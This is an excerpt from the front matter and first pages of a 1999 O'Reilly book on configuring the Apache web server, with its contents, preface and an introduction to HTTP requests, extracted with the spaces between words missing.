Académique Documents
Professionnel Documents
Culture Documents
. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Pageaa
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Pageab
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Pageac
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Pagead
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Pageiii
Apache
TheDefinitiveGuide
SecondEdition
BenLaurie
andPeterLaurie
BeijingCambridgeFarnhamKlnParisSebastopolTaipeiTokyo
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Pageiv
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Disclaimer:
ThisnetLibraryeBookdoesnotincludetheancillarymediathatwaspackagedwiththeoriginalprintedversionofthebook.
Apache:TheDefinitiveGuide,SecondEdition
byBenLaurieandPeterLaurie
Copyright1999,1997BenLaurieandPeterLaurie.Allrightsreserved.TheApacheQuickReferenceCardisCopyright1999,1998AndrewFord.Printedin
theUnitedStatesofAmerica.
PublishedbyO'Reilly&Associates,Inc.,101MorrisStreet,Sebastopol,CA95472.
Editor:RobertDenn
ProductionEditor:MadeleineNewell
PrintingHistory:
March1997:FirstEdition.
February1999:SecondEdition.
NutshellHandbook,theNutshellHandbooklogo,andtheO'ReillylogoareregisteredtrademarksofO'Reilly&Associates,Inc.Theassociationbetweentheimage
ofanAppaloosahorseandthetopicofApacheisatrademarkofO'Reilly&Associates,Inc.
Manyofthedesignationsusedbymanufacturersandsellerstodistinguishtheirproductsareclaimedastrademarks.Wherethosedesignationsappearinthisbook,and
O'Reilly&Associates,Inc.wasawareofatrademarkclaim,thedesignationshavebeenprintedincapsorinitialcaps.
Whileeveryprecautionhasbeentakeninthepreparationofthisbook,thepublisherassumesnoresponsibilityforerrorsoromissions,orfordamagesresultingfrom
theuseoftheinformationcontainedherein.
ISBN:1565925289[12/99]
[M]
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Pagev
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
TableofContents
Preface
ix
1.GettingStarted
HowDoesApacheWork?
WhattoKnowAboutTCP/IP
HowDoesApacheUseTCP/IP?
WhattheClientDoes
WhatHappensattheServerEnd?
11
WhichUnix?
12
WhichApache?
13
MakingApacheUnderUnix
13
ApacheUnderWindows
23
ApacheUnderBS2000/OSDandAS/400
25
2.OurFirstWebSite
26
WhatIsaWebSite?
26
Apache'sFlags
27
site.toddle
28
SettingUpaUnixServer
29
SettingUpaWin32Server
39
3.TowardaRealWebSite
43
MoreandBetterWebSites:site.simple
43
Butterthlies,Inc.,GetsGoing
46
BlockDirectives
49
OtherDirectives
52
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Pagevi
TwoSitesandApache
58
ControllingVirtualHostsonUnix
58
ControllingVirtualHostsonWin32
60
VirtualHosts
61
TwoCopiesofApache
65
HTTPResponseHeaders
68
Options
68
Restarts
71
.htaccess
72
CERNMetafiles
72
Expirations
73
4.CommonGatewayInterface(CGI)
75
TurningtheBrochureintoaForm
75
WritingandExecutingScripts
79
ScriptDirectives
83
UsefulScripts
85
DebuggingScripts
89
SettingEnvironmentVariables
90
suEXEConUnix
93
Handlers
100
Actions
101
5.Authentication
104
AuthenticationProtocol
104
AuthenticationDirectives
106
PasswordsUnderUnix
108
PasswordsUnderWin32
110
NewOrderForm
110
Order,Allow,andDeny
114
DigestAuthentication
118
AnonymousAcces
120
Experiments
123
AutomaticUserInformation
124
Using.htaccessFiles
126
Overrides
129
6.MIME,ContentandLanguageNegotiation
132
MIMETypes
132
ContentNegotiation
134
LanguageNegotiation
135
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Pagevii
TypeMaps
137
BrowsersandHTTP/1.1
140
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
7.Indexing
MakingBetterIndexesinApache
141
MakingOurOwnIndexes
149
Imagemaps
152
8.Redirection
158
Rewrite
162
Speling
169
9.ProxyServer
170
ProxyDirectives
170
Caching
173
Setup
175
10.ServerSideIncludes
179
FileSize
182
FileModificationTime
183
Includes
183
ExecuteCGI
183
Echo
185
XBitHack
185
XSSI
185
11.What'sGoingOn?
141
186
Status
186
ServerStatus
187
ServerInfo
188
LoggingtheAction
188
12.ExtraModules
196
Authentication
201
BlockingAccess
202
Counters
202
FasterCGIPrograms
202
FrontPagefromMicrosoft
202
LanguagesandInternationalization
203
ServerSideScripting
203
ThrottlingConnections
203
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Pageviii
URLRewriting
203
Miscellaneous
203
MIMEMagic
204
DSO
204
13.Security
205
InternalandExternalUsers
206
Apache'sSecurityPrecautions
208
BinarySignatures,VirtualCash
209
Firewalls
214
LegalIssues
217
SecureSocketsLayer:HowtoDoIt
222
ApacheSSL'sDirectives
233
CipherSuites
236
SSLandCGI
238
14.TheApacheAPI
240
Pools
240
PerServerConfiguration
241
PerDirectoryConfiguration
242
PerRequestInformation
243
AccesstoConfigurationandRequestInformation
245
Functions
246
15.WritingApacheModules
290
Overview
290
StatusCodes
292
TheModuleStructure
293
ACompleteExample
316
GeneralHints
329
A.SupportOrganizations
331
B.TheechoProgram
333
C.NCSAandApacheCompatibility
337
D.SSLProtocol
339
E.SampleApacheLog
345
Index
355
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Pageix
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Preface
Apache:TheDefinitiveGuideisprincipallyabouttheApachewebserversoftware.Weexplainwhatawebserverisandhowitworks,butourassumptionisthat
mostofourreadershaveusedtheWorldWideWebandunderstandinpracticaltermshowitworks,andthattheyarenowthinkingaboutrunningtheirownservers
tooffermaterialtothehungrymasses.
Thisbooktakesthereaderthroughtheprocessofacquiring,compiling,installing,configuring,andmodifyingApache.Weexercisemostofthepackage'sfunctionsby
showingasetofexamplesitesthattakeareasonablytypicalwebbusinessinourcase,apostcardpublisherthroughaprocessofdevelopmentandincreasing
complexity.However,wehavedeliberatelynottriedtomakeeachsitemorecomplicatedthanthelast.Mostofthechaptersrefertoanillustrativesitethatisassimple
aswecouldmakeit.Eachsiteisprettywellselfcontainedsothatthereadercanrefertoitwhilefollowingthetextwithouthavingtodisentanglethemeattherefrom
extraneousvegetables.Ifdesired,itisperfectlypossibletoinstallandruneachsiteonasuitablesystem.
Perhapsitisworthsayingwhatthisbookisnot.Itisnotamanual,inthesenseofformallydocumentingeverycommandsuchamanualexistsontheApachesiteand
hasbeenmuchimprovedwithVersion1.3weassumethatifyouwanttouseApache,youwilldownloaditandkeepitathand.Rather,ifthemanualisaroadmap
thattellsyouhowtogetsomewhere,thisbooktriestobeatouristguidethattellsyouwhyyoumightwanttomakethejourney.
ItalsoisnotabookaboutHTMLorcreatingwebpages,oroneaboutwebsecurityorevenaboutrunningawebsite.Theseareallcomplexsubjectsthatshould
eitherbetreatedthoroughlyorleftalone.Acompact,readablebookthatdealtthoroughlywithallthesetopicswouldbemostdesirable.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Pagex
Awebmaster'slibrary,however,islikelytobemuchbigger.Itmightincludebooksonthefollowingtopics:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
TheWebandhowitworks
HTMLwhatyoucandowithit
Howtodecidewhatsortofwebsiteyouwant,howtoorganizeit,andhowtoprotectit
Howtoimplementthesiteyouwantusingoneoftheavailableservers(forinstance,Apache)
HandbooksonJava,Perl,andotherlanguages
Security
Apache:TheDefinitiveGuideisjustoneofthesixorsopossibletitlesinthefourthcategory.
Apacheisaversatilepackageandisbecomingmoreversatileeveryday,sowehavenottriedtoillustrateeverypossiblecombinationofcommandsthatwould
requireabookofamillionpagesorso.Rather,wehavetriedtosuggestlinesofdevelopmentthatatypicalwebmastershouldbeabletofollowonceanunderstanding
ofthebasicconceptsisachieved.
Aswiththefirstedition,writingthebookwassomethingofaracewithApache'sdevelopers.WewantedtobereadyassoonasVersion1.3wasstable,butnot
beforethedevelopershadfinishedaddingnewfeatures.Unfortunately,although1.3wasin''featurefreeze"fromearly1998on,wecouldnotbesurethatnew
featuresmightnotbecomenecessarytofixnewlydiscoveredproblems.
Inmanyoftheexamplesthatfollow,themotivationforwhatwemakeApachedoissimpleenoughandrequireslittleexplanation(forexample,thedifferentindex
formatsinChapter7).Elsewhere,wefeelthatthewebmasterneedstobeawareofwiderissues(forinstance,thesecurityissuesdiscussedinChapter13)before
makingsensibledecisionsabouthisorhersite'sconfiguration,andwehavenothesitatedtobranchouttodealwiththem.
WhoWroteApache,andWhy?
Apachegetsitsnamefromthefactthatitconsistsofsomeexistingcodeplussomepatches.TheFAQ thinksthatthisiscuteothersmaythinkit'sthesortofjoke
that
FAQisnetspeakforFrequentlyAskedQuestions.Mostsites/subjectshaveanFAQfilethattellsyouwhatthethingis,whyitis,andwhereitisgoing.Itisperfectlyreasonable
forthenewcomertoaskfortheFAQtolookupanythingnewtohimorher,andindeedthisisasensiblethingtodo,sinceitreducesthenumberofquestionsasked.Apache's
FAQcanbefoundathttp://www.apache.org/docs/FAQ.html.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Pagexi
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
getsprogrammersabadname.AmoreresponsiblegroupthinksthatApacheisanappropriatetitlebecauseoftheresourcefulnessandadaptabilityoftheAmerican
Indiantribe.
YouhavetounderstandthatApacheisfreetoitsusersandiswrittenbyateamofvolunteerswhodonotgetpaidfortheirwork.Whetherornottheydecideto
incorporateyouroranyoneelse'sideasisentirelyuptothem.Ifyoudon'tlikethis,feelfreetocollectateamandwriteyourownwebserver.
ThefirstwebserverwasbuiltbytheBritishphysicistTimBernersLeeatCERN,theEuropeanCentreforNuclearResearchatGeneva,Switzerland.Theimmediate
ancestorofApachewasbuiltbytheU.S.governmentinthepersonofNCSA,theNationalCenterforSupercomputingApplications.Thisfinebodyisnottobe
confusedwiththeNationalComputingSecurityAgencyortheNorthCarolinaSchoolsAssociation.Becausethiscodewaswrittenwith(American)taxpayers'money,
itisavailabletoallyoucan,ifyoulike,downloadthesourcecodeinCfromwww.ncsa.uiuc.edu,payingdueattentiontothelicenseconditions.
Therewerethosewhothoughtthatthingscouldbedonebetter,andintheFAQforApache(athttp://www.apache.org)weread:
ApachewasoriginallybasedoncodeandideasfoundinthemostpopularHTTPserverofthetime,NCSAhttpd1.3(early1995).
Thatphrase"ofthetime"isnice.Itusuallyreferstogoodtimesbackinthe1700sortheearlydaysoftechnologyinthe1900s.Buthereitmeansbackinthe
deliquescentbogsofafewyearsago!
WhiletheApachesiteisopentoall,Apacheiswrittenbyaninvitedgroupof(wehope)reasonablygoodprogrammers.Oneoftheauthorsofthisbook,Ben,isa
memberofthisgroup.
Whydotheybother?Whydotheseprogrammers,whopresumablycouldbewellpaidfordoingsomethingelse,situpnightstoworkonApacheforourbenefit?
Thereisnosuchthingasafreelunch,sotheydoitforanumberoftypicallyhumanreasons.Onemightlist,innoparticularorder:
Theywanttodosomethingmoreinterestingthantheirdayjob,whichmightbewritingstockcontrolpackagesforBigBins,Inc.
Theywanttobeinvolvedontheedgeofwhatishappening.Workingonaprojectlikethisisaprettygoodwaytokeepuptodate.Afterthatcomesconsultancyon
thenexthotproject.
Themoreworldlyonesmightrememberhow,backintheolddaysof1995,quitealotofthepeopleworkingonthewebserveratNCSAleftforathingcalled
Netscapeandbecame,inthepassageoftheage,zillionaires.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Pagexii
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
It'sfun.Developinggoodsoftwareisinterestingandamusingandyougettomeetandworkwithothercleverpeople.
Theyarenotdoingthebitthatprogrammershate:explainingtoenduserswhytheirtreasureisn'tworkingandtryingtofixitin10minutesflat.Ifyouwantsupporton
Apacheyouhavetoconsultoneofseveralcommercialorganizations(seeAppendixA),who,quiteproperly,wanttobepaidfordoingtheworkeveryoneloathes.
TheDemonstrationCDROM
TheCDROMthataccompaniesthisbookcanbereadbybothWin32andUnixsystems.ItcontainstherequisiteREADMEfilewithinstallationinstructionsand
otherusefulinformation.TheCDROMcontainsApachedistributionsforUnixandWindowsandthedemonstrationwebsitesreferredtothroughoutthebook.The
contentsoftheCDROMareorganizedintofourdirectories:
distributions/
ThisdirectorycontainsApacheandCygwindistributions:
apache_1.3.3.tar.gzApache1.3.3Unixdistribution.
apache_1_3_3.exeApache1.3.3Windowsdistribution.
cygwinb20/directoryCygwinUnixutilitiesforWindows.
readme.txtReadthisfirst!
user.exeThe(smaller)userdistribution.
full.exeThe(larger)completedistribution.
install/
Thisdirectorycontainsscriptstoinstallthesamplesites:
installRunthisscripttoinstallthesites.
install.confUnixconfigurationfileforinstall.
installwin.confWin32configurationfileforinstall.
sites/
Thisdirectorycontainsthesamplesitesusedinthebook.
unpacked/
Thisdirectorycontainsunpackeddistributions:
apache_1.3.3Apacheunpackedwithmod_revealadded.
ConventionsUsedinThisBook
Thissectioncoversthevariousconventionsusedinthisbook.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Pagexiii
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
TypographicConventions
ConstantWidth
UsedforHTTPheaders,statuscodes,MIMEcontenttypes,directivesinconfigurationfiles,commands,options/switches,functions,methods,variablenames,and
codewithinbodytext
ConstantWidthBold
Usedincodesegmentstoindicateinputtobetypedinbytheuser
ConstantWidthItalic
Usedforreplaceableitemsincodeandtext
Italic
UsedforComponents,pathnames,newsgroupnames,Internetaddresses(URLs),emailaddresses,variablenames(exceptinexamples),termsbeingintroduced,
programnames,subroutinenames,CGIscriptnames,hostnames,usernames,andgroupnames
Icons
TextmarkedwiththisiconappliestotheUnixversionofApache.
TextmarkedwiththisiconappliestotheWin32versionofApache.
Theowlsymboldesignatesanoterelatingtothesurroundingtext.
Theturkeysymboldesignatesawarningrelatedtothesurroundingtext.
Pathnames
Weusethetextconvention/toindicateyourpathtothedemonstrationsites,whichmaywellbedifferentfromours.Forinstance,onourApachemachine,wekept
allthedemonstrationsitesinthedirectory/usr/www.So,forexample,ourpathwouldbe/usr/www/site.simple.Youmightwanttokeepthesitessomewhereother
than/usr/www,sowerefertothepathas/site.simple.
Don'ttype/intoyourcomputer.Theattemptwillupsetit!
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Pagexiv
Directives
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Apacheiscontrolledthroughroughly150directives.Foreachdirective,aformalexplanationisgiveninthefollowingformat:
Directive
Syntax
Whereused
Anexplanationofthedirectiveislocatedhere.
So,forinstance,wehavethefollowingdirective:
ServerAdmin
ServerAdminemailaddress
Serverconfig,virtualhost
ServerAdmingivestheemailaddressforcorrespondence.Itautomaticallygenerateserrormessagessotheuserhassomeonetowritetoincaseofproblems.
The"whereused"lineexplainstheappropriateenvironmentforthedirective.Thiswillbecomeclearerlater.
OrganizationofThisBook
Thechaptersthatfollowandtheircontentsarelistedhere:
Chapter1,GettingStarted
Coverswebservers,howApacheworks,TCP/IP,HTTP,hostnames,whataclientdoes,whathappensattheserverend,choosingaUnixversion,andcompiling
andinstallingApacheunderbothUnixandWin32.
Chapter2,OurFirstWebSite
DiscussesgettingApachetorun,creatingApacheusers,runtimeflags,permissions,andsite.simple.
Chapter3,TowardaRealWebSite
Introducesademonstrationbusiness,Butterthlies,Inc.someHTMLdefaultindexingofwebpagesserverhousekeepingandblockdirectives.
Chapter4,CommonGatewayInterface(CGI)
Demonstratesaliases,logs,HTMLforms,shellscript,aCGIinC,environmentvariables,andadaptingtotheclient'sbrowser.
Chapter5,Authentication
Explainscontrollingaccess,collectinginformationaboutclients,cookies,DBMcontrol,digestauthentication,andanonymousaccess.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Pagexv
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Chapter6,MIME,ContentandLanguageNegotiation
Coverscontentandlanguagearbitration,typemaps,andexpirationofinformation.
Chapter7,Indexing
Discussesbetterindexes,indexoptions,yourownindexes,andimagemaps.
Chapter8,Redirection
DescribesAlias,ScriptAlias,andtheamazingRewritemodule.
Chapter9,ProxyServer
Coversremoteproxiesandproxycaching.
Chapter10,ServerSideIncludes
ExplainsruntimecommandsinyourHTMLandXSSIamoresecureserversideinclude.
Chapter11,What'sGoingOn?
Coversserverstatus,loggingtheaction,andconfiguringthelogfiles.
Chapter12,ExtraModules
Discussesauthentication,blocking,counters,fasterCGI,languages,serversidescripting,andURLrewriting.
Chapter13,Security
DiscussesApache'ssecurityprecautions,validatingusers,binarysignatures,virtualcash,certificates,firewalls,packetfiltering,securesocketslayer(SSL),legal
issues,patentrights,nationalsecurity,andApacheSSLdirectives.
Chapter14,TheApacheAPI
Describespoolsperserver,perdirectory,andperrequestinformationfunctionswarningsandparsing.
Chapter15,WritingApacheModules
Coversstatuscodesmodulestructurethecommandtabletheinitializer,translatename,checkaccess,checkuserID,checkauthorizationandchecktyperoutines
prerunfixupshandlerstheloggerandacompleteexample.
AppendixA,SupportOrganizations
Providesalistofcommercialserviceand/orconsultationproviders.
AppendixB,TheechoProgram
Providesalistingofecho.c.
AppendixC,NCSAandApacheCompatibility
ContainsApacheGroupinternalmaildiscussingNCSA/Apachecompatibilityissues.
AppendixD,SSLProtocol
ProvidestheSSLspecification.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Pagexvi
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
AppendixE,SampleApacheLog
ContainsalistingofthefulllogfilereferencedinChapter11.
Inaddition,theApacheQuickReferenceCardprovidesanoutlineoftheApache1.3.4syntax.
Acknowledgments
First,thankstoRobertS.Thau,whogavetheworldtheApacheAPIandthecodethatimplementsit,andtotheApacheGroup,whoworkedonitbeforeandhave
workedonitsince.ThankstoEricYoungandTimHudsonforgivingSSLeaytotheWeb.
ThankstoBryanBlank,AramMirzadeh,ChuckMurcko,andRandyTerbush,whoreadearlydraftsofthefirsteditiontextandmademanyusefulsuggestionsandto
JohnAckermann,GeoffMeek,andShaneOwenby,whodidthesameforthesecondedition.ThankstoPaulC.KocherforallowingustoreproduceSSLProtocol,
Version3.0,inAppendixD,andtoNetscapeCorporationforallowingustoreproduceecho.cinAppendixB.
WewouldalsoliketoofferspecialthankstoAndrewFordforgivinguspermissiontoreprinthisApacheQuickReferenceCard.
ManythankstoRobertDenn,oureditoratO'Reilly,whopatientlyturnedourtextintoabookagain.Thetwolayersofblundersthatremainareourown
contribution.
Andfinally,thankstoCamillavonMassenbachandBarbaraLaurie,whohavecontinuedtoputupwithuswhilewerewrotethisbook.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page1
1
GettingStarted
WhenyouconnecttotheURLofsomeone'shomepagesaythenotionalhttp://www.butterthlies.com/weshallmeetlateronyousendamessageacrossthe
Internettothemachineatthataddress.Thatmachine,youhope,isupandrunning,itsInternetconnectionisworking,anditisreadytoreceiveandactonyour
message.
URLstandsforUniversalResourceLocator.AURLsuchashttp://www.butterthlies.com/comesinthreeparts:
<method>://<host>/<absolutepathURL(apURL)>
So,inourexample,<method>ishttp,meaningthatthebrowsershoulduseHTTP(HypertextTransferProtocol)<host>iswww.butterthlies.comand
<apURL>is"/",meaningthetopdirectoryofthehost.UsingHTTP/1.1,yourbrowsermightsendthefollowingrequest:
GET/HTTP/1.1
Host:www.butterthlies.com
Therequestarrivesatport80(thedefaultHTTPport)onthehostwww.butterthlies.com.Themessageisagaininthreeparts:amethod(anHTTPmethod,nota
URLmethod),thatinthiscaseisGET,butcouldequallybePUT,POST,DELETE,orCONNECTtheUniformResourceIdentifier(URI)"/":andtheversionof
theprotocolweareusing.Itisthenuptothewebserverrunningonthathosttomakesomethingofthismessage.
ItisworthsayinghereandwewillsayitagainthatthewholebusinessofawebserveristotranslateaURLeitherintoaComponent,andthensendthatfileback
overtheInternet,orintoaprogramname,andthenrunthatprogramandsenditsoutputback.Thatisthemeatofwhatitdoes:alltherestistrimming.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page2
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Thehostmachinemaybeawholeclusterofhypercomputerscostinganoilsheik'sransom,orahumblePC.Ineithercase,ithadbetterberunningawebserver,a
programthatlistenstothenetworkandacceptsandactsonthissortofmessage.
Whatdowewantawebservertodo?Itshould:
Runfast,soitcancopewithalotofinquiriesusingaminimumofhardware.
Bemultitasking,soitcandealwithmorethanoneinquiryatonce.
Bemultitasking,sothatthepersonrunningitcanmaintainthedataithandsoutwithouthavingtoshuttheservicedown.Multitaskingishardtoarrangewithina
program:theonlywaytodoitproperlyistoruntheserveronamultitaskingoperatingsystem.InApache'scase,thisissomeflavorofUnix(orUnixlikesystem),
Win32,orOS/2.
Authenticateinquirers:somemaybeentitledtomoreservicesthanothers.Whenwecometovirtualcash,thisfeature(seeChapter13,Security)becomesessential.
Respondtoerrorsinthemessagesitgetswithanswersthatmakesenseinthecontextofwhatisgoingon.Forinstance,ifaclientrequestsapagethattheserver
cannotfind,theservershouldrespondwitha"404"error,whichisdefinedbytheHTTPspecificationtomean"pagedoesnotexist."
Negotiateastyleandlanguageofresponsewiththeinquirer.Forinstance,itshouldifthepeoplerunningtheservercanrisetothechallengebeabletorespondin
thelanguageoftheinquirer'schoice.Thisability,ofcourse,canopenupyoursitetoalotmoreaction.Andtherearepartsoftheworldwherearesponseinthewrong
languagecanbeabadthing.IfyouwereoperatinginCanada,wheretheEnglish/Frenchdividearousesbitterfeelings,orinBelgium,wheretheFrench/Flemishsplitis
asbad,thisfeaturecouldmakeorbreakyourbusiness.
Offerdifferentformats.Onamoretechnicallevel,ausermightwantJPEGimagefilesratherthanGIF,orTIFFratherthaneitheroftheformer.Heorshemight
wanttextinvdiformatratherthanPostScript.
Runasaproxyserver.Aproxyserveracceptsrequestsforclients,forwardsthemtotherealservers,andthensendstherealservers'responsesbacktotheclients.
Therearetworeasonswhyyoumightwantaproxyserver:
Theproxymightberunningonthefarsideofafirewall(seeChapter13),givingitsusersaccesstotheInternet.
Theproxymightcachepopularpagestosavereaccessingthem.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page3
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Besecure.TheInternetworldisliketherealworld,peopledbyalotoflambsandafewwolves. Thewolvesliketogetintothelambs'folds(ofwhichyour
computerisone)and,whenthere,ravenandtearintheusualwolfishway.Theaimofagoodserveristopreventthishappening.Thesubjectofsecurityisso
importantthatwewillcomebacktoitseveraltimesbeforewearethrough.
TheseareservicesthatthedevelopersofApachethinkaservershouldoffer.Therearepeoplewhohaveotherideas,and,aswithallsoftwaredevelopment,thereare
lotsoffeaturesthatmightbenicefeaturessomeonemightuseoneday,orthatmight,ifputintothecode,actuallymakeitworkbetterinsteadoffoulingupsomething
elsethathas,untilthen,workedfine.Unlessdevelopersarecareful,goodsoftwareattractssomanyimprovementsthatiteventuallyrollsoverandsinkslikeaship
caughtinanArcticicestorm.
Someideasareinprogress:inparticular,variousproposalsforApache2.0arebeingkickedaround.ThemainfeaturesApache2.0issupposedtohaveare
multithreading(onplatformsthatsupportit),layeredI/O,andarationalizedAPI.
Ifyouhavebugstoreportormoreideasfordevelopment,lookathttp://www.apache.org/bug_report.html.Youcanalsotry
news:comp.infosystems.www.servers.unix,wheresomeoftheApacheteamlurk,alongwithmanyotherknowledgeablepeople,and
news:comp.infosystems.www.servers.mswindows.
HowDoesApacheWork?
Apacheisaprogramthatrunsunderasuitablemultitaskingoperatingsystem.Intheexamplesinthisbook,theoperatingsystemsareUnixandWindows95/98/NT,
whichwecallWin32.ThebinaryiscalledhttpdunderUnixandapache.exeunderWin32 &astricandnormallyrunsinthebackground.Eachcopyofhttpd/apacbe
thatisstartedhasitsattentiondirectedatawebsite,whichis,forpracticalpurposes,adirectory.Foranexample,lookatsite.toddleonthedemonstrationCDROM.
Regardlessofoperatingsystem,asitedirectorytypicallycontainsfoursubdirectories:
conf
Containstheconfigurationfile(s),ofwhichhttpd.confisthemostimportant.ItisreferredtothroughoutthisbookastheConfigfile.
WegenerallyfollowtheconventionofcallingthesepeopletheBadGuys.Thisavoidsdebateabout"hackers,"which,tomanypeople,simplyreferstogoodprogrammers,but
tosomemeansBadGuys.WediscoverfromtheFrencheditionofthisbookthatinFrancetheyareSalesTypesdirtyfellows.
